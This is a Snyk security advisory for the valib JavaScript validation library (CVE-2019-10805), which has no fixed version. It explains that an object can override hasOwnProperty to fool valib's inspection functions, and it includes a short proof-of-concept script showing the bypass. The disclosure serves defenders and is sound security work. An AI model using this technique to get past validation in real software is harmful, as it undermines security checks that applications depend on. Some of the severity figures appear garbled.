Internal Property Tampering Affecting valib package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.09% (41st percentile)

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  • Snyk IDSNYK-JS-VALIB-559015
  • published28 Feb 2020
  • disclosed28 Feb 2020
  • creditFeng Xiao (xiaofen9)

Introduced: 28 Feb 2020

CVE-2019-10805  (opens in a new tab)
CWE-642  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for valib.

Overview

valib is an A standalone javascript library tailored for validation.

Affected versions of this package are vulnerable to Internal Property Tampering. A maliciously crafted JavaScript object can bypass several inspection functions provided by valib. Valib uses a built-in function (hasOwnProperty) from the unsafe user-input to examine an object. It is possible for a crafted payload to overwrite this function to manipulate the inspection results to bypass security checks.

PoC by Feng Xiao (xiaofen9)

"use strict";
var valib = require('valib');
var json = {
    key1: null,
    key2: {
        url: "http://example.com"
    },
    key3: "17850",
    key4: "OK",
    key5: "2012-10-06T04:13:00+00:00",
    key6: [1, 2, 3],
    key7: "Yes"
};
json.hasOwnProperty = function(val) {return false;}
function test(userJson){
    console.log(valib.Object.isEmpty(userJson));
    console.log(valib.Object.countKeys(userJson));
    console.log(valib.Object.hasValue(userJson, "Yes"));
}
test(json);

References

CVSS Scores

version 3.1